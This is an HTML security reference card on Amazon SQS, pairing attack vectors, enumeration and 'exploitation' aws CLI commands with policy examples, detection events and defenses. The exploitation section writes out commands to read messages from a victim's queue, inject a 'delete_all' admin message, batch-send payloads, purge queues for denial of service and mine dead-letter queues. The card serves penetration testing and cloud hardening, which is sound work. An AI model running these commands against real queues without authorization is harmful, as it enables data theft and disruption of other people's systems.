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<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>AWS SQS Security | AWS Security Cards</title>
<meta name="description" content="Simple Queue Service (SQS) provides managed message queuing for decoupling applications. Queue policies control access. Messages often contain sensitive data and trigger downstream processing.">
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</style>
</head>
<body>
<!-- Card Image -->
<div class="card-image">
<img src="../images/sqs-card.webp" alt="AWS SQS Security" />
</div>
<!-- Header -->
<div class="header">
<div class="header-content">
<div class="header-icon"><img src="../icons/sqs.svg" alt="AWS SQS Security" /></div>
<div>
<div>
<span class="header-title">AWS SQS Security</span>
<span class="header-badge">QUEUING</span>
</div>
<p class="header-desc">Simple Queue Service (SQS) provides managed message queuing for decoupling applications. Queue policies control access. Messages often contain sensitive data and trigger downstream processing.</p>
</div>
</div>
</div>
<!-- Stats -->
<div class="stats-row">
<div class="stat-card">
<div class="stat-value" style="color: #f87171;">MEDIUM</div>
<div class="stat-label">Risk Level</div>
</div>
<div class="stat-card">
<div class="stat-value" style="color: #4ade80;">14 Days</div>
<div class="stat-label">Max Retention</div>
</div>
<div class="stat-card">
<div class="stat-value" style="color: #60a5fa;">FIFO</div>
<div class="stat-label">Or Standard</div>
</div>
<div class="stat-card">
<div class="stat-value" style="color: #c084fc;">Pull</div>
<div class="stat-label">Model</div>
</div></div>
<!-- Overview -->
<div class="section"><h2><span style="color:#06b6d4;">📋</span> Service Overview</h2><div class="overview-grid">
<div>
<h4 style="color: #06b6d4;">Standard Queues</h4>
<p>Best-effort ordering, at-least-once delivery. Unlimited throughput. Messages may be delivered more than once or out of order. Suitable for high-volume decoupling.</p>
<div class="attack-note"><span style="color:#06b6d4;">Attack note:</span> Messages can be read multiple times until deleted - persistence for attackers</div>
</div>
<div>
<h4 style="color: #06b6d4;">FIFO Queues</h4>
<p>Exactly-once processing, strict ordering. 3,000 messages/sec with batching. Message deduplication prevents replays. Better for ordered transaction processing.</p>
<div class="attack-note"><span style="color:#06b6d4;">Attack note:</span> Deduplication can be bypassed with unique deduplication IDs</div>
</div></div></div>
<!-- Risk Assessment -->
<div class="section">
<h2>Security Risk Assessment</h2>
<div class="risk-gauge">
<div class="risk-bar-container">
<div class="risk-bar">
<div class="risk-bar-fill" style="width: 65%;"></div>
</div>
<div class="risk-labels"><span>Low</span><span>Medium</span><span>High</span><span>Critical</span></div>
</div>
<div class="risk-score">
<div class="risk-score-value">6.5</div>
<div class="risk-score-label">Risk Score</div>
</div>
</div>
<p class="risk-desc">SQS queue misconfigurations allow message theft, injection, and processing pipeline manipulation. Dead-letter queues often contain failed sensitive messages that attackers can access.</p>
</div>
<!-- Main Panels -->
<div class="panels-grid">
<div class="panel" style="border-color: #f8717133;">
<h3 style="color: #f87171;">⚔️ Attack Vectors</h3><h4 style="color: #f87171;">Message Operations</h4><ul><li><span class="bullet" style="color: #f87171;">•</span> Receive messages from exposed queues</li><li><span class="bullet" style="color: #f87171;">•</span> Steal messages before legitimate consumers</li><li><span class="bullet" style="color: #f87171;">•</span> Delete messages to disrupt processing</li><li><span class="bullet" style="color: #f87171;">•</span> Send malicious messages to inject payloads</li><li><span class="bullet" style="color: #f87171;">•</span> Purge queues to cause denial of service</li></ul><h4 style="color: #f87171;">Queue Manipulation</h4><ul><li><span class="bullet" style="color: #f87171;">•</span> Modify queue attributes</li><li><span class="bullet" style="color: #f87171;">•</span> Change dead-letter queue settings</li><li><span class="bullet" style="color: #f87171;">•</span> Access dead-letter queues for failed data</li><li><span class="bullet" style="color: #f87171;">•</span> Extend visibility timeout to hold messages</li><li><span class="bullet" style="color: #f87171;">•</span> Tag resources for tracking</li></ul></div>
<div class="panel" style="border-color: #fb923c33;">
<h3 style="color: #fb923c;">⚠️ Misconfigurations</h3><h4 style="color: #fb923c;">Queue Policy Issues</h4><ul><li><span class="bullet" style="color: #fb923c;">•</span> Principal: * with no conditions</li><li><span class="bullet" style="color: #fb923c;">•</span> Allow SendMessage from any account</li><li><span class="bullet" style="color: #fb923c;">•</span> Allow ReceiveMessage to everyone</li><li><span class="bullet" style="color: #fb923c;">•</span> Missing source ARN/account conditions</li><li><span class="bullet" style="color: #fb923c;">•</span> Cross-account access too permissive</li></ul><h4 style="color: #fb923c;">Security Settings</h4><ul><li><span class="bullet" style="color: #fb923c;">•</span> Messages not encrypted (SSE disabled)</li><li><span class="bullet" style="color: #fb923c;">•</span> Long message retention with sensitive data</li><li><span class="bullet" style="color: #fb923c;">•</span> Dead-letter queue accessible to attackers</li><li><span class="bullet" style="color: #fb923c;">•</span> No CloudTrail data events logging</li><li><span class="bullet" style="color: #fb923c;">•</span> Missing VPC endpoint for private access</li></ul></div>
<div class="panel" style="border-color: #22d3ee33;">
<h3 style="color: #22d3ee;">🔍 Enumeration</h3>
<div class="cmd-block">
<div class="cmd-title">List All Queues</div>
<pre><code>aws sqs list-queues</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Get Queue Attributes</div>
<pre><code>aws sqs get-queue-attributes \\
--queue-url https://sqs.us-east-1.amazonaws.com/123456789012/my-queue \\
--attribute-names All</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Get Queue Policy</div>
<pre><code>aws sqs get-queue-attributes \\
--queue-url URL \\
--attribute-names Policy</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">List Dead-Letter Queues</div>
<pre><code>aws sqs list-dead-letter-source-queues --queue-url URL</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Check Approximate Message Count</div>
<pre><code>aws sqs get-queue-attributes \\
--queue-url URL \\
--attribute-names ApproximateNumberOfMessages</code></pre>
</div></div>
<div class="panel" style="border-color: #c084fc33;">
<h3 style="color: #c084fc;">📥 Message Theft</h3><h4 style="color: #c084fc;">Reading Messages</h4><ul><li><span class="bullet" style="color: #c084fc;">•</span> ReceiveMessage to read queue contents</li><li><span class="bullet" style="color: #c084fc;">•</span> Long polling (20 sec) for efficient theft</li><li><span class="bullet" style="color: #c084fc;">•</span> Batch receive (up to 10 messages)</li><li><span class="bullet" style="color: #c084fc;">•</span> Access visibility timeout to keep messages</li><li><span class="bullet" style="color: #c084fc;">•</span> Race legitimate consumers for data</li></ul><h4 style="color: #c084fc;">Dead-Letter Queue Mining</h4><ul><li><span class="bullet" style="color: #c084fc;">•</span> DLQ contains failed/problematic messages</li><li><span class="bullet" style="color: #c084fc;">•</span> Often has sensitive data or credentials</li><li><span class="bullet" style="color: #c084fc;">•</span> Less monitored than main queues</li><li><span class="bullet" style="color: #c084fc;">•</span> Messages retained up to 14 days</li><li><span class="bullet" style="color: #c084fc;">•</span> Check RedrivePolicy for DLQ ARN</li></ul><div class="note"><strong>Gold Mine:</strong> Dead-letter queues often contain exception data with stack traces, credentials, and sensitive payloads.</div></div>
<div class="panel" style="border-color: #facc1533;">
<h3 style="color: #facc15;">💉 Message Injection</h3><h4 style="color: #facc15;">Injection Scenarios</h4><ul><li><span class="bullet" style="color: #facc15;">•</span> Send malicious JSON to Lambda consumers</li><li><span class="bullet" style="color: #facc15;">•</span> Inject commands for EC2 workers</li><li><span class="bullet" style="color: #facc15;">•</span> Manipulate order processing data</li><li><span class="bullet" style="color: #facc15;">•</span> Trigger downstream application logic</li><li><span class="bullet" style="color: #facc15;">•</span> Batch send for amplified impact</li></ul><h4 style="color: #facc15;">Impact</h4><ul><li><span class="bullet" style="color: #facc15;">•</span> Code execution in message processors</li><li><span class="bullet" style="color: #facc15;">•</span> Data corruption in applications</li><li><span class="bullet" style="color: #facc15;">•</span> Financial transaction manipulation</li><li><span class="bullet" style="color: #facc15;">•</span> Denial of service via queue flooding</li><li><span class="bullet" style="color: #facc15;">•</span> Business logic bypass</li></ul></div>
<div class="panel" style="border-color: #4ade8033;">
<h3 style="color: #4ade80;">🛡️ Detection</h3><h4 style="color: #4ade80;">CloudTrail Events</h4><ul><li><span class="bullet" style="color: #4ade80;">•</span> SendMessage - message sent to queue</li><li><span class="bullet" style="color: #4ade80;">•</span> ReceiveMessage - message received</li><li><span class="bullet" style="color: #4ade80;">•</span> DeleteMessage - message deleted</li><li><span class="bullet" style="color: #4ade80;">•</span> PurgeQueue - queue emptied</li><li><span class="bullet" style="color: #4ade80;">•</span> SetQueueAttributes - policy changed</li></ul><h4 style="color: #4ade80;">Indicators of Compromise</h4><ul><li><span class="bullet" style="color: #4ade80;">•</span> Messages received by unknown principals</li><li><span class="bullet" style="color: #4ade80;">•</span> Bulk delete operations</li><li><span class="bullet" style="color: #4ade80;">•</span> Queue policy modifications</li><li><span class="bullet" style="color: #4ade80;">•</span> Unusual SendMessage sources</li><li><span class="bullet" style="color: #4ade80;">•</span> High volume from new IP addresses</li></ul></div></div>
<!-- Exploitation -->
<div class="section"><h2><span style="color:#f87171;">💻</span> Exploitation Commands</h2><div class="cmd-grid">
<div class="cmd-block">
<div class="cmd-title">Receive Messages (Steal Data)</div>
<pre><code>aws sqs receive-message \\
--queue-url https://sqs.us-east-1.amazonaws.com/VICTIM/queue \\
--max-number-of-messages 10 \\
--wait-time-seconds 20</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Send Malicious Message</div>
<pre><code>aws sqs send-message \\
--queue-url https://sqs.us-east-1.amazonaws.com/TARGET/process-queue \\
--message-body '{"action":"admin","command":"delete_all"}'</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Batch Send (Amplify Attack)</div>
<pre><code>aws sqs send-message-batch \\
--queue-url URL \\
--entries '[{"Id":"1","MessageBody":"payload1"},{"Id":"2","MessageBody":"payload2"}]'</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Purge Queue (DoS)</div>
<pre><code>aws sqs purge-queue --queue-url https://sqs.us-east-1.amazonaws.com/TARGET/queue</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Read Dead-Letter Queue</div>
<pre><code># First find DLQ from RedrivePolicy
aws sqs receive-message \\
--queue-url https://sqs.us-east-1.amazonaws.com/TARGET/queue-dlq \\
--max-number-of-messages 10</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Extend Visibility (Hold Messages)</div>
<pre><code>aws sqs change-message-visibility \\
--queue-url URL \\
--receipt-handle HANDLE \\
--visibility-timeout 43200</code></pre>
</div></div></div>
<!-- Policies -->
<div class="section"><h2><span style="color:#4ade80;">📜</span> Policy Examples</h2><div class="policy-grid">
<div class="policy-card" style="border-color: #ef444433; background: rgba(239,68,68,0.05);">
<div class="policy-header">
<span style="color: #f87171; font-size: 1.2em;">✗</span>
<span style="color: #f87171; font-weight: 600;">Dangerous - Public Queue</span>
</div>
<pre><code>{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": "*",
"Action": ["SQS:SendMessage", "SQS:ReceiveMessage"],
"Resource": "arn:aws:sqs:us-east-1:123456789012:my-queue"
}]
}</code></pre>
<p class="policy-desc">Anyone can send and receive messages - full queue compromise</p>
</div>
<div class="policy-card" style="border-color: #22c55e33; background: rgba(34,197,94,0.05);">
<div class="policy-header">
<span style="color: #4ade80; font-size: 1.2em;">✓</span>
<span style="color: #4ade80; font-weight: 600;">Secure - Account Restricted</span>
</div>
<pre><code>{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": {"AWS": "arn:aws:iam::123456789012:root"},
"Action": ["SQS:*"],
"Resource": "arn:aws:sqs:us-east-1:123456789012:my-queue"
}]
}</code></pre>
<p class="policy-desc">Only same account can access the queue</p>
</div>
<div class="policy-card" style="border-color: #ef444433; background: rgba(239,68,68,0.05);">
<div class="policy-header">
<span style="color: #f87171; font-size: 1.2em;">✗</span>
<span style="color: #f87171; font-weight: 600;">Risky - SNS Can Send</span>
</div>
<pre><code>{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": {"Service": "sns.amazonaws.com"},
"Action": "SQS:SendMessage",
"Resource": "arn:aws:sqs:us-east-1:123456789012:queue"
}]
}</code></pre>
<p class="policy-desc">Any SNS topic can send - should have source ARN condition</p>
</div>
<div class="policy-card" style="border-color: #22c55e33; background: rgba(34,197,94,0.05);">
<div class="policy-header">
<span style="color: #4ade80; font-size: 1.2em;">✓</span>
<span style="color: #4ade80; font-weight: 600;">Secure - Source ARN Restricted</span>
</div>
<pre><code>{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": {"Service": "sns.amazonaws.com"},
"Action": "SQS:SendMessage",
"Resource": "arn:aws:sqs:us-east-1:123456789012:queue",
"Condition": {
"ArnEquals": {
"aws:SourceArn": "arn:aws:sns:us-east-1:123456789012:my-topic"
}
}
}]
}</code></pre>
<p class="policy-desc">Only specific SNS topic can send messages</p>
</div></div></div>
<!-- Defenses -->
<div class="section"><h2><span style="color:#4ade80;">🛡️</span> Defense Recommendations</h2><div class="defense-grid">
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">🔐</span>
<div>
<h4>Enable Server-Side Encryption</h4>
<p>Encrypt messages at rest with SQS-managed or KMS keys.</p>
<pre><code>aws sqs set-queue-attributes \\
--queue-url URL \\
--attributes KmsMasterKeyId=alias/sqs-key</code></pre>
</div>
</div>
</div>
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">🚫</span>
<div>
<h4>Restrict Queue Policies</h4>
<p>Never use Principal: * without conditions. Use source ARN/account conditions.</p>
</div>
</div>
</div>
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">🔒</span>
<div>
<h4>Secure Dead-Letter Queues</h4>
<p>Apply same or stricter policies to DLQs as main queues.</p>
</div>
</div>
</div>
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">📝</span>
<div>
<h4>Enable CloudTrail Data Events</h4>
<p>Log SendMessage and ReceiveMessage operations for auditing.</p>
</div>
</div>
</div>
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">🌐</span>
<div>
<h4>Use VPC Endpoints</h4>
<p>Access SQS through VPC endpoint to avoid public internet.</p>
<pre><code>aws ec2 create-vpc-endpoint \\
--vpc-id vpc-xxx \\
--service-name com.amazonaws.us-east-1.sqs</code></pre>
</div>
</div>
</div>
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">⏱️</span>
<div>
<h4>Set Appropriate Retention</h4>
<p>Minimize message retention period to reduce exposure window.</p>
</div>
</div>
</div></div></div>
<!-- Footer -->
<div class="footer">
<p>AWS SQS Security Card</p>
<p style="margin-top:0.25rem;">Always obtain proper authorization before testing</p>
</div>
</body>
</html>